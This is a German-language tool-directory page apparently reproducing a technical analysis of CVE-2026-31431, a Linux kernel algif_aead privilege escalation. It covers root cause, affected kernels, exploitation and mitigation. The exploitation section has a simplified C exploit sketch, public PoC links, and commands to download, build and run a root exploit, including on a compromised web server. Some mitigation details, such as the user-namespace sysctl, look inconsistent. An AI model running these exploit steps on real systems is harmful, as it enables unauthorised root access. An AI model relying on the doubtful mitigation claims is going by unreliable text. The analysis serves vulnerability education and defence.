Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431-mitigacion — Technische Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel im Modul algif_aead, einschließlich Ursachenanalyse, betroffener Versionen, Exploit-Ablauf und Minderungsstrategien. | Kitploit
Tools/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Privilege EscalationSchwachstellenanalyseExploitationLernen & Bildung
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

Technische Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel im Modul algif_aead, einschließlich Ursachenanalyse, betroffener Versionen, Exploit-Ablauf und Minderungsstrategien.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
1vor 3 MonatenNoch nicht geprüft

CVE-2026-31431 — Vollständige technische Analyse

Klassifizierung: Lokale Privilegieneskalation (LPE) — Linux-Kernel
CVSS: 7.8 (Hoch)
Auswirkung: unprivilegierter Benutzer → root
Betroffenes Modul: algif_aead (AF_ALG-Subsystem des Kernels)


Inhaltsverzeichnis

  1. Warum ist es verwundbar?
  2. Welche Versionen sind betroffen?
  3. Wie wird es ausgenutzt
  4. Wie kann man es entschärfen

1. Warum ist es verwundbar?

Das AF_ALG-Subsystem

Der Linux-Kernel stellt eine Kryptografie-Schnittstelle für den Benutzerbereich namens AF_ALG (Socket-Familie AF_ALG) bereit. Diese Schnittstelle ermöglicht es unprivilegierten Prozessen, kryptografische Beschleuniger des Kernels zu nutzen — Verschlüsselung, Hashing, Schlüsselerzeugung — ohne Root-Rechte.

Eines seiner Module ist algif_aead, das den AEAD-Modus (Authenticated Encryption with Associated Data) implementiert, der von Algorithmen wie AES-GCM oder ChaCha20-Poly1305 verwendet wird.

Die Grundursache

Der Bug liegt darin, wie algif_aead Operationen von sendmsg() + recvmsg() behandelt, wenn der Ausgabepuffer kleiner als erwartet ist. Der Kernel führt eine Kopieroperation (copy_to_user) aus, ohne die Größe korrekt zu validieren, was Folgendes verursacht:

root@kitploit:~
Buffer-Overflow → Schreiben außerhalb der Grenzen in den Kernel-Speicher

Technisch gesehen:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy in eine teilweise vom Benutzer kontrollierte Adresse

Dieses Write-out-of-Bounds ermöglicht es, angrenzende Kernel-Kontrollstrukturen im Speicher zu überschreiben — insbesondere Funktionszeiger oder cred-Strukturen — um Privilegien zu eskalieren.

Warum benötigt die Ausnutzung kein Root?

Weil AF_ALG für unprivilegierte Benutzer verfügbar ist. Jeder Prozess kann einen AF_ALG-Socket öffnen und Daten ohne vorherige Authentifizierung senden. Der Exploit benötigt keine zusätzliche Hilfsverwundbarkeit.

root@kitploit:~
// Das kann jeder Benutzer des Systems tun
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. Welche Versionen sind betroffen?

Verwundbare Kernel

Kernel-VersionBetroffen?
< 5.10Nein (Modul existierte in dieser Form nicht)
5.10 — 6.1.xJa ⚠️
6.2.xJa ⚠️ (enthält den Kernel des PoC)
6.3+ mit angewendetem PatchNein ✅

Am stärksten gefährdete Distributionen

So überprüfst du deinen Kernel

root@kitploit:~
# Kernel-Version anzeigen
uname -r

# Prüfen, ob das verwundbare Modul geladen ist
lsmod | grep algif_aead

# Prüfen, ob AF_ALG verfügbar ist
cat /proc/net/protocols | grep ALG

Beispiel einer verwundbaren Ausgabe

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ Wenn du algif_aead in lsmod siehst und dein Kernel 6.2.x unter Ubuntu 23.04 ist, bist du exponiert.


3. Wie wird es ausgenutzt

⚠️ Ethischer Hinweis: Dieser Abschnitt dient rein zu Bildungszwecken. Die Ausnutzung von Systemen ohne ausdrückliche Genehmigung ist illegal und strafbar. Die Beispiele sind für kontrollierte Laborumgebungen gedacht.

Ablauf des Exploits

root@kitploit:~
1. AF_ALG-Socket öffnen (algif_aead)
2. sendmsg() mit übergroßem Puffer senden
3. recvmsg() mit kleinerem Puffer → Auslösen des Bugs
4. OOB-Schreiben in den Kernel-Heap
5. cred->uid/gid auf 0 überschreiben
6. execve("/bin/sh") → Root-Shell

Minimaler konzeptioneller Exploit (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 16-Byte-Schlüssel konfigurieren
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Großer Puffer → OOB-Write auslösen
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... Konstruktion des msghdr mit cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg mit unzureichendem Puffer → Kernel schreibt außerhalb der Grenzen
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Wenn der Exploit funktioniert hat, sind wir jetzt root
    if (getuid() == 0) {
        printf("[+] Root erhalten!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

Dies ist ein vereinfachtes Schema. Der echte Exploit erfordert zusätzliche Heap-Shaping-Primitive, um das OOB-Schreiben mit der Struktur task_struct->cred auszurichten.

Bekannte öffentliche PoCs

Die folgenden Repositories enthalten dokumentierte funktionierende Implementierungen:

  • copy-fail-c — Exploit in reinem C, erfordert Kompilierung
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — Eigenständiges ELF-Binary, keine Kompilierung erforderlich
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

Typische Verwendung (Labor)

root@kitploit:~
# copy-fail-c klonen und kompilieren
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Erwartetes Ergebnis auf verwundbarem System:
# [*] Prüfe Modul algif_aead...
# [*] Bereite Heap-Spray vor...
# [+] OOB-Write erfolgreich
# [+] UID jetzt: 0
# # whoami
# root

Mit dem ELF-Binary (ohne Kompilierung)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Reales Angriffsszenario

root@kitploit:~
Externer Angreifer
      │
      ▼
Nutzt Web-Schwachstelle aus (RCE) → Zugriff als www-data
      │
      ▼
Lädt copyfail auf den Server hoch (wget/curl)
      │
      ▼
Führt ./copyfail aus
      │
      ▼
Root-Shell auf dem Server ✓

Geschätzte Zeit vom www-data-Zugriff bis zu Root: < 30 Sekunden.


4. Wie kann man es entschärfen

Endgültige Lösung — System aktualisieren

Die einzige echte Lösung ist ein Kernel mit angewendetem Patch.

root@kitploit:~
# Option 1: Upgrade auf Ubuntu 24.04 LTS (empfohlen)
do-release-upgrade

# Option 2: Wenn du bereits Ubuntu 22.04 LTS hast
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Gepatchten Kernel verifizieren
uname -r   # muss ≥ 5.15.0-107 unter Ubuntu 22.04 sein

Sofortige Entschärfung — Verwundbares Modul deaktivieren

Wenn du jetzt nicht aktualisieren kannst, deaktiviere algif_aead:

root@kitploit:~
# Blacklist des Moduls erstellen
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Initramfs neu generieren, damit es dauerhaft ist
sudo update-initramfs -u

# Neu starten
sudo reboot

Überprüfen, dass es deaktiviert wurde:

root@kitploit:~
lsmod | grep algif_aead
# Es darf nichts erscheinen

⚠️ Dies kann Software beschädigen, die AEAD-Verschlüsselung über AF_ALG verwendet (bei Standard-Webservern ungewöhnlich).


Entschärfung mit sysctl — Benutzer-Namespaces einschränken

root@kitploit:~
# Unprivilegierte User-Namespaces deaktivieren (bricht einige Docker-Funktionen)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Dauerhaft machen
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

Entschärfung mit AppArmor — AF_ALG blockieren

Ein AppArmor-Profil erstellen, das den Zugriff auf AF_ALG verweigert:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # in spezifischen Profilen verweigern

Für den Web-Prozess (Beispiel nginx/www-data):

root@kitploit:~
# Zum AppArmor-Profil von www-data oder nginx hinzufügen
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

Auswirkung reduzieren — Härtung von www-data

Obwohl es die Eskalation nicht verhindert, reduziert es die anfängliche Angriffsfläche:

root@kitploit:~
# Prüfen, dass www-data kein sudo hat
sudo grep www-data /etc/sudoers

# Unnötige SUID-Binaries entfernen
find / -perm -4000 2>/dev/null

# Zugängliche Verzeichnisse einschränken
chmod 700 /root
chmod 750 /home/*

Übersichtstabelle der Entschärfungen


Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • Kernel-Commit des Fixes: Subsystem crypto/algif_aead.c
  • PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • Zugehörige Ubuntu-Sicherheitsmeldung: USN-XXXX-1

Dokument zu akademischen Zwecken erstellt — Systemadministrator-Ingenieur, 2026

Tool herunterladen
DistributionTypischer KernelPatch verfügbar?
Ubuntu 23.04 (lunar)6.2.0❌ EOL — keine Patches
Ubuntu 22.04 LTS5.15.x✅ Gepatcht
Ubuntu 24.04 LTS6.8.x✅ Nicht betroffen
Debian 12 (Bookworm)6.1.x✅ Gepatcht
Arch Linux (2026-03+)6.8.x✅ Nicht betroffen
EntschärfungWirksamkeitAuswirkung auf DienstDauerhaft
Upgrade auf Ubuntu 24.04✅ VollständigMinimalJa
Blacklist algif_aead✅ HochSehr geringJa
unprivileged_userns_clone=0🟡 TeilweiseMäßigJa
AppArmor AF_ALG deny✅ HochGeringJa
Härtung von www-data🟡 ReduziertKeineJa